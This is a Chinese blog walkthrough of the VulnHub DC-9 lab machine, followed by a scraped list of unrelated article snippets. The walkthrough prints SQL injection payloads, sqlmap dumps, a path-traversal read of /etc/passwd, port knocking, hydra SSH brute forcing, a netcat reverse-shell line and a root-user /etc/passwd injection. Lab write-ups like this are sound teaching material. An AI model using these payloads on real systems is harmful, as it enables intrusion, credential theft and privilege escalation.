VulnHub DC-9

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


一、信息收集

1.主机扫描

扫描到靶机IP:192.168.103.209

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

2.端口扫描

DC靶场系列的老样子,22、80端口

但是发现22端口关闭了,一般渗透都是需要ssh连接或者说反弹shell之类的都是需要22端口开启的 ,所有说,后面我们会尝试把22端口开启

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.209

3.web页面

访问80端口:

点击manage,跳出登录窗口

后续应该要收集信息,收集账号密码,登录

4.目录扫描

/config.php、/includes、/display.php、/search.php、/search.php

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.103.209

1./config.php

没有发现什么有价值的信息

2./includes

3.search.php

点击search ,有个输入框,可以试试有没有sql注入

输入框里面,输入1'or 1=1# 验证是否有sql注入

发现,跳转到了这个界面,说明此页面应该是有SQL注入

可以看出来,这个sql注入,是POST注入的

5.sql注入

一、手工注入

求列数:

search=1' union select 1,2,3,4,5,6#

求数据库

search=1' union select 1,2,3,4,5,database()#

求表

search=1' union select 1,2,3,4,5,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

求字段

search=1' union select 1,2,3,4,5,(select group_concat(column_name) from information_schema.columns where table_name='Users')#

查看Username,Password字段的值

search=1' union select 1,2,3,4,5,(select group_concat(concat_ws('~',Username,Password)) from Users)#

┌──(root💀kali)-[~/桌面]
└─# hash-identifier "856f5de590ef37314e7c3bdf6f8a66dc"
判断密码是MD5加密的
账号:admin
密码:transorbital1

二、sqlmap一把梭
sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch  #查看是否存在漏洞

sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch --dbs  #查看库

sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch -D users --tables #查看表

sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch -D users -T UserDetails --dump  #列出管理员账号密码(爆表)

都是员工账号和密码,先放着不管了,再去把另一个数据库staff的数据表也爆一下,

sqlmap -u "http://192.168.103.209/results.php" --data "search=1" -D Staff -tables

 sqlmap -u "http://192.168.103.209/results.php" --data "search=1" -D Staff -T Users --dump -batch

账号密码:

admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)  

6.登录web页面

账号:admin
密码:transorbital1

点击Add Record

猜测可能存在文件包含漏洞,所以在manage.php的url处,接入file参数,读取/etc/passwd文件,在url后面加入?file=../../../../etc/passwd,顺利读取到/etc/passwd文件

但是到这里不知该怎么进行下去了,我们再从头看看,发现22端口的流量被过滤了,所以查阅了一些资料,看了看一些教程,猜测这里可能存在knockd服务

https://www.cnblogs.com/f-carey/p/16066178.htmlicon-default.png?t=N7T8https://www.cnblogs.com/f-carey/p/16066178.html

knockd服务:
端口敲门服务,即:knockd服务。
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,
使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

//默认文件是:
/etc/knockd.conf

接下来我们就是需要对其ssh依次敲门了,然后打开ssh服务,进行ssh远程连接

通过文件包含读取knockd的默认配置文件/etc/knockd.conf

依次对7469、8475、9842端口进行敲门,然后就可以开门,命令

nmap -p 7469 192.168.103.209
nmap -p 8475 192.168.103.209
nmap -p 9842 192.168.103.209

依次访问之后,重新扫描22端口,可发现ssh服务已经开启,可以访问

把这里面的password和username保存在本地文件

后面用九头蛇爆破然后利用ssh远程连接

然后使用两个字典进行爆破

┌──(root💀kali)-[~/桌面]
└─# hydra 192.168.103.209 -L user.txt -P passwd.txt ssh

爆破的账号密码如下:

用户                    密码
chandlerb              UrAG0D!
joeyt                  Passw0rd
janitor                Ilovepeepee

二、漏洞利用

1.ssh连接

1.chandlerb远程连接,没有发现什么目录

┌──(root💀kali)-[~/桌面]
└─# ssh chandlerb@192.168.103.209

2.joeyt

也是一样

3.janitor

多了一个文件:.secrets-for-putin

新发现了很多的账号和密码

把这些都添加到开始的账号密码文件中

passwords-found-on-post-it-notes.txt  #密码

/home  #账号

┌──(root💀kali)-[~/桌面]
└─# hydra 192.168.103.209 -L user.txt -P passwd.txt ssh

新的账号和密码:

账号:fredf
密码:B4-Tru3-001
┌──(root💀kali)-[~/桌面]
└─# ssh fredf@192.168.103.209 

2.sudo -l提权

就是以root权限会进行执行/opt/devstuff/dist/test这个文件

所有我们接下来要进入这个文件中,然后进行写入木马,然后进行反弹shell,然后拿到root权限

echo 'nc -nv 192.168.103.129 1234 -c bash'>>/opt/devstuff/dist/test/test

发现权限不够,写入失败

3.openssl账户密码加密

再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件

这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限

现在我们回到kali,使用openssl工具创建一个本地的加密用户,

┌──(root💀kali)-[~/桌面]
└─# openssl passwd -1 -salt admin1 admin1
$1$admin1$QDqsIRd5/oAdiXk0vdS1C/

跳转到/opt/devstuff/dist/test目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,我使用test2

echo 'admin1:$1$admin1$QDqsIRd5/oAdiXk0vdS1C/:0:0::/root:/bin/bash' >> /tmp/test2

执行sudo命令的时候,要在/opt/devstuff/dist/test目录下执行

用sudo命令执行test文件将/tmp/test2的内容写入到/etc/passwd文件中

sudo ./test /tmp/test2 /etc/passwd

4.flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/177252.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何做好性能压测?压测环境设计和搭建的7个步骤你知道吗?

简介:一般来说,保证执行性能压测的环境和生产环境高度一致是执行一次有效性能压测的首要原则。有时候,即便是压测环境和生产环境有很细微的差别,都有可能导致整个压测活动评测出来的结果不准确。 1. 性能环境要考虑的要素 1.1 系…

HCIA-Datacom跟官方路线学习

通过两次更换策略。最后找到最终的学习方案,华为ICT官网有对这个路线的学习,hcia基础有这个学习路线,hcip也有目录路线。所以,最后制定学习路线,是根据这个认证的路线进行学习了: 官网课程:课程…

掌握 AI 和 NLP:深入研究 Python — 情感分析、NER 等

一、说明 我们见证了 BERT 等预训练模型在情感分析方面的强大功能,使我们能够破译隐藏在文本数据中的情感。通过 SpaCy,我们探索了命名实体识别的迷人世界,揭开了隐藏在非结构化文本中的秘密。 二、问题陈述 命名实体识别(NER)是自然语言处理中的一项关键…

2024贵州大学计算机考研分析

24计算机考研|上岸指南 贵州大学 贵州大学计算机科学与技术学院(贵州大学省级示范性软件学院)位于贵州省贵阳市花溪区贵州大学东校区。 计算机科学与技术学院(软件学院)自1972年创办计算机软件本科专业开始,至今已有…

灵活运用Vue 3中的setup函数—深入解析Composition API

新建项目,项目主入口为App.vue(主组件),新建child.vue(子组件)。 1.1 setup 执行 时机问题 1.在主组件里引入子组件和ref: import {ref} from vue import child from ./components/child.vue2…

12英寸双轴半自动划片机:颠覆传统划切工艺的五大优势

随着科技的飞速发展,半导体行业对精密划切设备的需求日益增长。在这篇文章中,我们将深入探讨12英寸双轴半自动划片机的优势,这种划片机在半导体制造过程中扮演着至关重要的角色。以下是这种划片机的五大优势。 一、高精度划切 12英寸双轴半自…

二十二、数组(4)

本章概要 随机生成泛型和基本数组 随机生成 我们可以按照 Count.java 的结构创建一个生成随机值的工具: Rand.java import java.util.*; import java.util.function.*;import static com.example.test.ConvertTo.primitive;public interface Rand {int MOD 10_0…

89. 格雷编码

89. 格雷编码 Java代码&#xff1a;2DFS class Solution {List<Integer> res new ArrayList<>();public List<Integer> grayCode(int n) {dfs(n, new StringBuffer(), new int[]{0, 1});return res;}public void dfs(int n, StringBuffer sb, int[] nums){i…

如何用【测试思维】做“支付功能”测试?

前言 跳槽高峰期&#xff0c;作为测试&#xff0c;不管是面试还是笔试&#xff0c;必然要被考验到的就是”测试思维“。在面试中就是体现在如下面试题中&#xff1a; “说说你项目中的 xx 模块你是如何测试的&#xff1f;” “给你一个购物车&#xff0c;你要怎么测试&#…

马斯克震撼演讲:我想创立一个新世界

目录 1拼多多杀入大模型领域&#xff1a;年薪百万招聘人才 2马斯克震撼演讲&#xff1a;我想创立一个新世界 3文心4.0上线首交答卷&#xff1a;百度2023Q3成色如何 1拼多多杀入大模型领域&#xff1a;年薪百万招聘人才 快科技11月22日消息&#xff0c;据国内媒体报道&#x…

解决ESP32内部RAM内存不足的问题

一&#xff0c;为什么需要外部RAM ESP32有520kB的内部RAM空间可以使用&#xff0c;这对于一般的情况是够用的&#xff0c;但是如果设备需要涉及音频或者显示图像等处理时&#xff0c;需要更大的内存空间来处理这些数据。ESP32支持扩展外部RAM&#xff0c;其实乐鑫已经在其ESP32…

2020年计网408

第33题 下图描述的协议要素是&#xff08; &#xff09;。I. 语法 II. 语义 III. 时序 A. 仅 I B. 仅 II C. 仅 III D. I、II 和 III 本题考察网络协议三要素的相关知识。 网络协议的三要素分别是语法、语义、同步&#xff08;时序&#xff09;。语法&#xff1a;定义收发双…

【PyGIS】使用阿里AIEarth快速下载指定区域指定年份的土地利用数据

说明 中国逐年土地覆盖数据集(CLCD) 由武汉大学的杨杰和黄昕教授团队基于Landsat影像制作了中国逐年土地覆盖数据集(annual China Land Cover Dataset, CLCD),数据包含1985—2021年中国逐年土地覆盖信息。研究团队基于Landsat长时序卫星观测数据,构建时空特征,结合随机森…

lombok 引入

lombok 依赖--><dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId></dependency>

智能车入门补充篇——电感值处理、转向控制与巡线

冒泡法 冒泡法是一种简单的排序算法&#xff0c;它重复地遍历要排序的数列&#xff0c;一次比较两个元素&#xff0c;如果它们的顺序错误就把它们交换过来。遍历数列的工作是重复地进行直到没有再需要交换&#xff0c;也就是说该数列已经排序完成。冒泡排序的时间复杂度为O(n^…

国内怎么投资黄金,炒黄金有哪些好方法?

随着我国综合实力的不断强大&#xff0c;投资市场的发展也日臻完善&#xff0c;现已成为了国际黄金市场的重要组成部分&#xff0c;人们想要精准判断金市走向&#xff0c;就离不开对我国经济等信息的仔细分析。而想要有效提升盈利概率&#xff0c;人们还需要掌握国内黄金投资的…

centos无法进入系统之原因解决办法集合

前言 可爱的小伙伴们&#xff0c;由于精力有限&#xff0c;暂时整理了两类。如果没有你遇到的问题也没有关系&#xff0c;欢迎底下留言评论或私信&#xff0c;小编看到后第一时间帮助解决 一. Centos 7 LVM xfs文件系统修复 情况1&#xff1a; [sda] Assuming drive cache:…

Docker Swarm总结(2/3)

目录 8、service 操作 8.1 task 伸缩 8.2 task 容错 8.3 服务删除 8.4 滚动更新 8.5 更新回滚 9、service 全局部署模式 9.1 环境变更 9.2 创建 service 9.3 task 伸缩 10、overlay 网络 10.1 测试环境 1搭建 10.2 overlay 网络概述 10.3 docker_gwbridg 网络基础…

​极氪,中国传统汽车品牌电动化的样板间

这篇文章早就想写了&#xff0c;因为太忙的原因就一直跳票&#xff0c;正好最近两件事的出现&#xff0c;又触发了想写这篇文章的冲动。 两件事主要是&#xff1a; 一&#xff0c;10 月份各家陆续公布了单月销量以及累计销量&#xff1b; 二&#xff0c;极氪在北京正式发布了 …

算法刷题-动态规划-1

算法刷题-动态规划-1 不同路径不同路径||方法一&#xff1a;方法二 第N个泰波那契数递归写法滚动数组 三步问题递归操作滚动数组 使用最小画法爬楼梯递归 解码方法方法一方法二&#xff1a;&#xff08;大佬讲解&#xff09; 不同路径 //机器人不同的路径进入到指定的地点 publ…